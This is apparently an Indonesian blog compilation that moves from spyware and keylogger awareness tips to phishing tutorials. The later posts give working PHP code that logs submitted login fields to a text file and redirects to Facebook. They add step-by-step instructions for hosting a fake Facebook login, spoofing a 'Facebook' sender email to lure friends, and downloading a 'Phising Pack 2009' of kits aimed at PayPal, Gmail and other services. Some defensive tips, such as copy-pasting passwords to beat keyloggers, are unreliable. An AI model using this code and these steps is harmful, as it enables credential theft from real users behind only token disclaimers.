Mengenal Spyware

Spyware merupakan istilah berbasis IT yang sering kita dengar. Definisi spyware antara lain:

1. Kita pilah-pilah menurut suku bahasanya. Spy berarti mata-mata, ware dapat berarti software (perangkat lunak). Jadi secara singkat spyware merupakan tools/aplikasi yang digunakan sebagai mata-mata dari sebuah informasi.

2. Spyware adalah mengacu kepada salah satu bentuk perangkat lunak mencurigakan yang menginstalasikan dirinya sendiri ke dalam sebuah sistem untuk mencuri data milik pengguna.

Kerugiannya yang ditimbulkan:

* Pencurian Data
Kebanyakan informasi yang diambil tanpa seizin adalah kebiasaan pengguna dalam menjelajahi Internet, tapi banyak juga yang mencuri data-data pribadi, seperti halnya alamat e-mail (untuk dikirimi banyak surat sampah atau dapat dikenal dengan spam)
* Penyadapan bandwidth internet
Yang merugikan dari keberadaan spyware ini adalah selain banyaknya iklan yang mengganggu adalah pemborosan bandwidth dan privasi yang telah terampas.
* Freeware dapat menjadi sarang spyware
Pada umumnya, website yang memberikan spyware adalah website yang memberikan layanan gratis ataupun website yang menjual produk. Jadi berpeluang besar sofware-software hasil download-an secara free telah diselipi sebuah spy. Bahaya bukan, oleh sebab itu tak jarang software-software yang kita download (susah-susah) terkadang dideteksi virus oleh AV.

Cara mencegah masuknya spyware :

* Progam Pemburu Spyware
Beberapa utilitas yang dapat digunakan untuk membasmi spyware, anda dapat menggunakan AVG Anti-Spyware (sekedar info, bukan promo), ataupun progam anti-spyware lainnya. Sekedar memperingatkan, AVG Anti-Spyware tidak memiliki Free Version, hanya ada Full Version & Trial Version. Bila anda mendownload AVG Anti-Spyware Free Version, sama saja anda mendownload AVG Anti-Spyware Trial Version.
* Mematikan Cookies
Cara ini juga dapat dilakukan dengan block all cookies atau menolak semua cookies untuk masuk ke komputer pengguna.

Contoh spyware ini adalah Keylogger, PC recorder, Parental Control Software, Detective Software dan Monotorin Software. Selengkapnya...

CARA MENGHINDARI KEJAHATAN KEYLOGGER

Keylogger adalah sebuah perangkat lunak/software yang ditanamkan kepada komputer seseorang secara sembunyi-sembunyi untuk mengetahui kegiatan si korban dalam melakukan aktivitasnya,

cara kerja dari keylogger ini adalah dengan menyimpan data dari semua kegiatan anda ketika sedang mengetik dalam keyboard komputer yang nantinya akan disimpan pada program keylogger, data yang disimpan atau lebih tepatnya dicuri oleh keylogger bisa sesuatu yang menurut anda sangat privat dan tidak semua orang boleh tahu, misalnya pin ATM, data perusahaan, password email, atau yang sedang marak bulan-bulan ini yaitu facebook dan twitter jangan sampai password anda di jejaring sosial tersebut bisa terbongkar yang akibatnya bisa sangat fatal. Berikut dibawah ini langkah-langkah menghindari kejahatan keylogger :

1. Usahakan menggunakan komputer pribadi, ketika anda berselancar didunia maya (Online), walaupun hanya sekedar mengetik di Ms.office word (Offline).

2. Sadar tempat, ketika anda online di warnet atau dikosan teman (hacker), tanyakan tentang keylogger kalau dia mengerti tentang keylogger, maka anda patut waspada.

3. Install antivirus yang komplit mendetect virus,worm,trojan, karena ada keylogger yang dimodifikasi menjadi virus yang bisa menginfeksi komputer, jangan lupa wajib di update.(dianjurkan memakai antivirus bitdefender) selain free alias gratis juga cukup kompeten menjaga komputer dari berbagai serangan virus,worm,trojan dll.

4. Jangan mengambil uang di ATM yang jarang dijaga satpam, karena biasanya sang ahli keylogger bisa memasukkan program keyloggernya hanya pada tempat yang sepi dan tidak ada kamera pengintai.

5. Ini yang paling penting, supaya password anda aman dari keylogger ketika anda memakai komputer disarankan anda menggunakan alternatif lain yaitu dengan menggunakan On-Screen Keyboard , yang ada di : start > all program > accssesoris > accessibility > On-Screen Keyboard.

Selengkapnya...

Tips-tips menghindari phising atau pencurian password

mungkin sudah tidak sedikit bahwa hal2 privacy seperti password bisa di ketahui juga oleh seorang hacker, nah pertnyaannya bagaimana sih seorang hacker bisa tahu password kita ?
ya salah satunya mereka dari phising nahh kalo sampai password cabinet kita sampai ketahuan kan bisa berabe

seperti halnya kasus bbrapa minggu yang lalu sempat libertyreserve.com di d dos sama hacker sampai 1 mingguan site na down hehehhe

sudah banyak kasus juga, hacker2 menyerang server2 broker sampai servernya down pada saat news2 besar, mungkin hacker nya ikut trading kali ya hehehe,
sehingga tidak sedikit broker menggunakan server lebih dari 3 untuk menghindari serangan hacker, jika server A mati masih ada server B atau C

mungkin anda jg ada yg trading msih menggunakan jasa umum seperti warnet, tidak menutup kemungkinan banyak operator2 warnet yang jail, mereka memasang keylogger untuk merekam password kita, dan sengaja untuk mendapatkan password kita, saya jg pernah mengalami, sampai acc e-gold saya kena, mungkin itu karena kecerobohan saya sendiri yg waktu itu memang masih bener2 awam soal dunia maya…dan waktu itu masih sering menggunakan jasa warnet untuk browsing2 heheh…

mungkin ini ada bbrapa tips dari saya untuk menghindari pencurian password oleh seorang hacker2 yg nakal….atau operator2 warnet yg jail

1. usahakan anda punya flashdisk atau sejenisnya, untuk menyimpan data2 anda.

2. kalo anda trading menggunakan mt4 usahakan passnya sudah tersave pada saat login pertama, jadi pada saat mau login selanjutnya sudah otomatis

3. pada saat mau login baik itu ke email, e-gold atau cabinet dari suatu broker, jangan ketik manual ( jika anda menggunakan jasa warnet ), usahakan kopi paste, karena keylogger hanya bsa rekam password dari ketik manual

4. jangan sering masuk site2 ga jelas, karena banyak phising.

5. jangan sampai password di suatu situs yang kurang menjamin privacy anda di samakan dengan password email pribadi atau password2 yg penting semcam ym, login platform untuk menghindari phising.

mungkin itu sekedar tips dari saya, dan hanya berdasarkan pengalaman saya, ada master2 yg mau menambahkan tips2 nya atau berbagi pengalaman silahkan…agar newbie seperti saya bisa mendapatkan pengetahuan yg lebih detail soal keamanan menjaga password

makasih yaa...sob Selengkapnya...

Inilah Cara Cracker Membuat Situs Palsu Untuk Phising

Setelah sebelumnya saya beri tips untuk terhindar dari phising para cracker kini saya akan beritahu cara cracker membuat situs palsu atau fake login untuk digunakan phising. Saya share disini hanya untuk pengetahuan saja dan agar kalian sadar betapa mudahnya membuat fake login jadi kalian akan lebih berhati-hati.

Yang pertama-tama harus dilakukan adalah dengan mengunjungi situs aslinya. Misalkan saja http://www.facebook.com/ kemudian buka source codenya.
Setelah itu copy source codenya dan paste ke dalam notepad atau program text editor lainnya. Cari code “action=” dan ganti code setelah “action=” dengan “login.php”.

Kemudian ganti code setelah code “method=” dengan “get”.
Simpan dengan nama index.php dan selanjutnya copy code PHP berikut di notepad dan simpan dengan nama login.php

header(“Location: http://www.facebook.com/login.php “);
$handle = fopen(“pass.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

Kemudian buka notepad dan jangan diisi apapun langsung simpan dengan nama pass.txt. Tinggal upload ke webhost ketiga file tadi.

Saya sengaja tidak meberitahu cara-cara membuat situs palsu di atas secara blak-blakan, saya hanya ingin kalian tahu betapa mudahnya metode phising itu. Kalau cuma akun Facebook, Friendster, dan Email saja mungkin tidak begitu penting tetapi bagaimana kalau akun PayPal atau bank kita yang bocor pasti kita akan rugi besar. Selengkapnya...

Hacking facebook dengan fake login

Kemaren sempat hunting ke lorong bawah tanah. Say hi!... dengan teman lama satu perjuangan. Hasilnya adalah sebuah script menarik untuk membuat fake login di facebook. Langsung saja, sebenarnya teknik penggunaan fakelogin untuk mencuri username dan password telah saya bahas di artikel sebelumnya, silakan baca disini. Jika pada sebelumnya adalah teori dasar membuat fake login, pada artikel ini akan saya berikan script sekaligus prakteknya.


Hal pertama yang harus dilakukan adalah memiliki webhosting yang support php dan tidak menampilkan iklan popup. Kamu bisa menggunakan yang free, misalnya: byethost, Ripway, Geocities, dll. Langkah selanjutnya download script fake login lengkap disini.

Setelah di ekstrak terdapat tiga file yaitu index.html, logs.php dan logs.txt. Simpan kedalam salah satu direktori dalam web hosting. Misalnya http://namawebhosting.com/facebook. Catat alamat link tersebut.

Selanjutnya adalah membuat email palsu. Patikan nama depan dan nama belakang yang anda gunakan adalah Facebook. Hal ini memastikan penerima email tidak ragu terhadap pengirim email. Misalnya email palsu anda adalah admin_facebook@yahoo.co.id . Setelah itu, download contoh isi email palsu yang berisi pemberitahuan konfirmasi pertemanan, dapat anda Download Disini.

Buka cantoh isi email palsu tersebut, kemudian ganti Nama yang warna merah dengan nama palsu anda. Dan ganti alamat email palsu yang warna merah dengan alamat email palsu anda. Copy isi email palsu tersebut ke kotak pengiriman email anda.

Selanjutnya perhatikan link yang ada dalam isi pesan, seperti ini: http://www.facebook.com/n/?reqs.php&mid=883451G4a3b0e7eG88f1e5G2. Blok alamat link tersebut dan arahkan ke alamat fake login yang telah anda buat sebelumnya.


Selesai, kirim email palsu tersebut ke email teman yang memiliki account facebook. Biarkan mereka membukanya dan mengklik link tersebut dan dipastikan username dan password mereka akan terjaring.

Selamat Mencoba...

Catatan:
Artikel ini hanyalah sekelumit ilmu yang cukup diketahui tapi jangan dipraktekan. Apalagi untuk disalahgunakan. Selengkapnya...

Mencuri password dengan fake login

Artikel kali ini kuterbitkan sengaja dengan isi yang tidak lengkap. Hanya konsep dan caranya saja. Mengapa? intinya mengajarkan yang tidak baik dosanya sepanjang masa. Ini menyoal dan menjawab beberapa pertanyaan yang muncul, bagaimana sih cara mencuri password di friendster, facebook, multiply, yahoo, gmail, paypal, atau apapun yang bersifat sangat sensitif dan pribadi. Menarik bukan? tapi sebaiknya jangan dilakukan. It's all about privacy, piracy and crime.


Cara yang biasa dilakukan untuk mencuri password adalah dengan memasang fake login, remote komputer, phising, keylogger. Nah yang menurut saya paling mudah dilakukan adalah dengan menggunakan Fake Login. Proses pencurian dengan fake login dilakukan dengan langkah sebagai berikut :

1. E-mail palsu

Sebagai pengguna layanan e-mail gratis atau bergabung dengan jejaring sosial, kamu pasti rutin mendapat e-mail kiriman pemberitahuan. Misalnya kamu adalah pengguna facebook. Maka, jika kamu mengizinkan adanya sistem pemberitahuan otomatis melalui e-mail, secara langsung kamu akan diberitahu jika ada teman yang mengkonfirmasi, ada pesan masuk, ada komentar, dll.

Di dalam e-mail tersebut pasti terdapat link tautan yang akan mengarahkan ke halaman yang dimaksud untuk melihat secara langsung isi pemberitahuan tersebut. Lucunya, kita sebagai pengguna kadang lebih suka membuka e-mail terlebih dahulu sebelum membuka halaman facebook. Untuk mudahnya maka langsung saja kita mengklik link tautan tersebut. Toh kita juga akan diarahkan langsung ke halaman utamanya.

Mungkin kita hanya perlu memasukan username dan password, kemudian jreng!... halaman terbuka. Sesederhana itukah? yakinkanh 100% e-mail tersebut dikirim dari facebook, atau hanya e-mail palsu. Kalau memang e-mail palsu, lantas kemanakah kita diredirect? nah itu dia!.... jawabanya adalah Fake Login.

2. Halaman Fake Login

Fake login atau halaman palsu untuk jebakan adalah metode yang sudah lama dikenal di dunia hacking, phising dan carding. Korbannya sangat banyak, bahkan yang terbilang senior juga menjadi korban. Intinya adalah ketelitian, kejelian dan kecermatan. Baik dalam membuat maupun menghindari.

Fake login pada prinsipnya adalah halaman palsu yang dibuat seolah-olah serupa dengan halaman aslinya. Namun bedanya fake login akan menjaring username dan password yang kita inputkan di form login menuju file database berbeda.

Halaman utama fake login biasanya dibuat dengan cara mengcopy seluruh halaman utama (web page complete) website tertentu. Selanjutnya memodifikasi link form login asli ke file login.php yang dibuat sendiri menuju database yang juga telah disiapkan.

Proses berikutnya dengan mengupload halaman utama yang telah dicopy dan dimodifikasi tersebut pada file penyimpanan (hosting). Langkah selanjutnya tinggal mengarahkan orang lain untuk mengklik link fake login tersebut dengan berbagai cara, misalnya seperti menggunakan e-mail palsu seperti yang saya sebutkan di atas, atau melalui halaman komentar yang support javascript (seperti di friendster). Atau bahkan menipu mentah-mentah lewat chatting, forum, milist atau yang lain.

Menarik bukan? sangat menarik dan rawan tentunya. Kembali lagi ke diri kita masing-masing. Apapun bentuknya mencuri adalah tindakan tercela. Jauhi sejauh yang kamu mampu dan informasikan yang kamu tahu. Selengkapnya...

Kumpulan phising dan fake login pupuler

Teknik Phising menggunakan metode fake login atau halaman jebakan adalah teknik hacking populer untuk menjerat username dan password. Teknik yang membutuhkan pendekatan psikologis ini sangat kental dengan Spam. Keduanya memang seperti api dan bensin, benar-benar cocok kalau dipasangkan. Bahaya phising, fake login dan spam sudah tidak diragukan lagi. Banyak sekali korban berjatuhan terutama bagi pengguna baru di internet. Bagi yang ingin mengoleksi script fake login dan mempelajari teknik phising lebih detail anda bisa mendownload koleksi phising dan fake login pada akhir artikel ini.


Taknik dan cara kerja phising dapat anda baca pada artikel saya sebelumnya disini. Atau bagi pengguna facebook, dapat mempelajari teknik fakelogin facebook disini. Bahkan untuk membuat fakelogin sendiri dapat dilakukan dengan mudah, baca caranya disini.

Bagi yang merasa expert untuk memanfaatkan fakelogin dan phising secara mendalam, saya berikan referensi phising dan fakelogin dalam PHISING PACK 2009. Berikut daftar phising yang ada di dalamnya:

1. AnonymousMailer
2. Phisher Maker!
3. Jiffy Gmail Account Creator
4. Tarantula
5. RapidExtract
6. IP Hider Pack
7. Steam Phiser
8. Rapidshare Phiser
9. Friendster Phiser
10. Gmail Phisher
11. Habbo Phisher
12. Facebook Phisher
13. Photobucket Phisher
14. XboxLive Phisher
15. AIM Phisher
16. GaiaOnline Phisher
17. IMVU Phisher
18. AstaTalk Phisher
19. Warez-bb Phisher
20. Hotmail Phisher
21. Paypal Phisher
22. Runescape Phisher
23. youtube Phisher
24. dan lebih banyak lagi


DOWNlOAD PHISING PACK Selengkapnya...